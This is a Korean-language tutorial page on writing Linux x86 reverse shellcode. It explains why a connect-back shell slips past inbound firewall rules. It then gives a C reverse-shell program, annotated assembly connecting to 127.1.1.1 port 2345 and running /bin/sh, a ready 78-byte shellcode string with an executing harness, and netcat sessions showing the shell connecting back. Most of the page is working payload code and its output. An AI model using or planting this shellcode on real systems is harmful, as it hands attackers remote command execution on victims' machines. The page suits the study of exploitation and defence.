Page tree
Skip to end of metadata
Go to start of metadata

Excuse the ads! We need some help to keep our site up.

List

Reverse Shellcode

  • Bind Shellcode는 공격 대상에 Server 형태로 Port를 오픈해 클라이언트가 접속하는 방식입니다.

    • 해당 방식은 방화벽이 적용된 시스템이 경우 쉽게 차단될 수 있습니다.

      • 일반적으로 방화벽은 알려진 특정 포트를 제외하고는 들어오는 연결을 차단합니다.

      • 소프트웨어 방화벽을 이용해 간단히 설정 가능합니다.

      • 즉, Bind Shellcode는 방화벽에 의해 차단될 가능성이 큽니다.

  • 하지만 방화벽은 외부로 나가는 통신에 대해서는 자유로운 편입니다.

    • 즉, 공격 대상이 나의 PC에 접속하도록 할 수 있습니다.

    • Reverse Shellcode는 Port를 열어서 연결을 기다리는 대신, 공격자가 지정한 IP,Port로 연결합니다.

C language

  • 아래와 같이 Bind shellcode와 많이 다르지 않습니다.
    • socket() 함수를 이용해 통신을 위한 Socket을 생성합니다.
    • connect() 함수를 이용해 서버에 접속합니다.
    • dup2() 함수를 이용해 Socket() 함수에 의해 생성된 파일 디스크립터에 표준 스트림(입,출력,에러)을 복제(링크) 합니다.
    • execve() 함수를 이용해 "/bin/sh" 프로그램을 실행합니다.
reverse.c
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void)
{
        int i, server_sockfd;
        socklen_t socklen;
        struct sockaddr_in server_addr;

        char *argv[] = { "/bin/sh", NULL};
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(2345);
        server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        server_sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
        connect(server_sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));

        for(i = 0; i <= 2; i++)
                dup2(server_sockfd, i);

        execve( "/bin/sh", argv, NULL );
}

Test program

  • 다음과 같이 nc 프로그램을 이용해 port를 오픈합니다.
Create server
lazenca0x0@ubuntu:~$ nc -l -p 2345 -v
Listening on [0.0.0.0] (family 0, port 2345)
  • 앞에서 작성한 코드를 빌드 후 실행합니다.
Connect to the server
lazenca0x0@ubuntu:~/back$ gcc -o reverse reverse.c
lazenca0x0@ubuntu:~/back$ ./reverse
  • 해당 프로그램을 실행하면 nc로 오픈한 Port에 접속하게되며, nc를 이용해 "/bin/sh" 프로그램을 이용할 수 있습니다.
Client connected
lazenca0x0@ubuntu:~$ nc -l -p 2345 -v
Listening on [0.0.0.0] (family 0, port 2345)
Connection from [127.0.0.1] port 2345 [tcp/*] accepted (family 2, sport 55482)
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
lazenca0x0@ubuntu:~$

Connect()

  • connect() 함수는 생성한 소켓을 통해 서버로 접속을 요청합니다.
SYNOPSIS
int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
  • 해당 함수의 시스템 콜 번호는 3번입니다.
/usr/include/linux/net.h
lazenca0x0@ubuntu:~$ cat /usr/include/linux/net.h |grep connect
#define SYS_CONNECT	3		/* sys_connect(2)		*/
	SS_UNCONNECTED,			/* unconnected to any socket	*/
	SS_CONNECTING,			/* in process of connecting	*/
	SS_CONNECTED,			/* connected to socket		*/
	SS_DISCONNECTING		/* in process of disconnecting	*/
lazenca0x0@ubuntu:~$

Assembly code

  • 여기서 알아야 할 부분은 "server_addr.sin_addr.s_add"에 저장되는 값의 형태입니다.

    • IP Address는 총 32bit이며, 8 bit 단위로 구분하여 표시합니다.
    • 아래와 같이 Shellcode에서 8bit 단위로 IP Address를 표현합니다.
    • 127.0.0.1은 127.1.1.1로 대체 가능합니다.
IP Address
IP Address127.1.1.1
Hex7f.01.01.01
Little-endian format0x0101017f
reverse-asm.s
BITS 32
  
;socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
push BYTE 102			; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다.
pop eax					; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다.
cdq						; EDX 레지스터에 DWORD 크기의 Null byte를 저장합니다.
push dword 1			; socket 함수의 호출 번호 1을 Stack에 저장합니다.
pop ebx					; socketcall() 함수의 1번째 인자(EBX 레지스터)값으로 SYS_SOCKET(1)을 저장 합니다.
;두번째 인자에 전달할 인자 배열을 생성
push edx				; socket() 함수의 3번째 인자 값 0을 Stack에 저장합니다.
push ebx				; socket() 함수의 2번째 인자 값 SOCK_STREAM(1)을 Stack에 저장합니다.
push BYTE 2         	; socket() 함수의 1번째 인자 값 PF_INET(2)을 Stack에 저장합니다.
mov ecx, esp        	; socketcall() 함수의 2번째 인자(ECX 레지스터)값으로 인자 배열의 시작 주소값(ESP 레지스터)을 저장 합니다.
int 0x80

;server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xchg edx,eax			; 소켓 함수로 부터 리턴받은 값을 EDX 레지스터에 저장합니다.
  
;connect(server_sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));
mov al, 0x66			; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다.
;struct sockaddr_in server_addr;
push DWORD 0x0101017f	; server_addr.sin_addr.s_addr = inet_addr("127.1.1.1"); Little-endian
push WORD 0x2909		; server_addr.sin_port = htons(2345); Little-endian
inc ebx					; 
push WORD bx			; server_addr.sin_family = AF_INET;
mov ecx, esp			; ECX레지스터에 server_addr 구조체의 시작 주소를 저장합니다.
push BYTE 16			; connect() 함수의 3번째 인자 값 16을 Stack에 저장합니다.
push ecx				; connect() 함수의 2번째 인자 값 &server_addr을 Stack에 저장합니다.
push edx				; connect() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다.
mov ecx, esp			; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다.
inc ebx             	; socketcall() 함수의 1번째 인자 값으로 SYS_CONNECT(3)를 저장하게 됩니다.
int 0x80

;for(i = 0; i <= 2; i++)
;	dup2(server_sockfd, i);
xchg edx,ebx        ; dup2 함수의 1번째 인자값으로 socket() 함수에 의해 생성된 파일 디스크립터(0x5)를 저장합니다. 
push BYTE 0x2       ; Stack에 2 저장합니다.
pop ecx             ; dup2 함수의 2번째 인자값으로 2 를 저장 합니다.
dup2_call:
    mov BYTE al, 0x3F   ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다.
    int 0x80            ;
    dec ecx             ; dup2() 함수의 2번째 인자값을 감소(-1) 시킵니다.
    jns dup2_call       ; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다.
  
;execve( "/bin/sh", argv, NULL );
mov BYTE al, 11     ; execve() 시스템 함수의 콜 번호 11을 EAX레지스터에 저장합니다.
xor edx, edx
push edx            ; 문자열의 끝을 알리기 위해 Null을 먼저 Stack에 저장합니다.
push 0x68732f2f     ; 문자 "//sh"를 Stack에 저장합니다. Little-endian
push 0x6e69622f     ; 문자 "/bin"를 Stack에 저장합니다. Little-endian
mov ebx, esp        ; execve() 함수의 1번째 인자값으로 ESP 레지스터의 값을 저장합니다.
push edx            ; Stack에 Null을 저장합니다.
mov edx, esp        ; execve() 함수의 3번째 인자값으로 Null이 저장된 배열의 주소(ESP)를 저장합니다.
push ebx            ; Stack에 "/bin//sh" 문자의 시작주소(EBX)를 저장합니다.
mov ecx, esp        ; execve() 함수의 2번째 인자값으로 배열의 주소(ESP,["/bin//sh"],[Null])를 저장합니다.
int 0x80            ;

Test program

revShell.c
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x53\x6a\x2\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x1\x1\x1\x66\x68\x9\x29\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xd3\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";
 
void main()
{
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
  • nc 프로그램을 이용해 클라이언트의 연결을 기다립니다.
lazenca0x0@ubuntu:~$ nc -lvp 2345
Listening on [0.0.0.0] (family 0, port 2345)
  • reverse.c 를 빌드 후 실행합니다.
lazenca0x0@ubuntu:~/Reverse$ gcc -o revShell -z execstack -m32 revShell.c
lazenca0x0@ubuntu:~/Reverse$ ./revShell 
Shellcode len : 78

  • Shellcode에 의해 nc 프로그램에 "/bin/sh" 프로그램이 연결되었습니다.
lazenca0x0@ubuntu:~$ nc -lvp 2345
Listening on [0.0.0.0] (family 0, port 2345)
Connection from [127.0.0.1] port 2345 [tcp/*] accepted (family 2, sport 48860)
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

Related site

Comments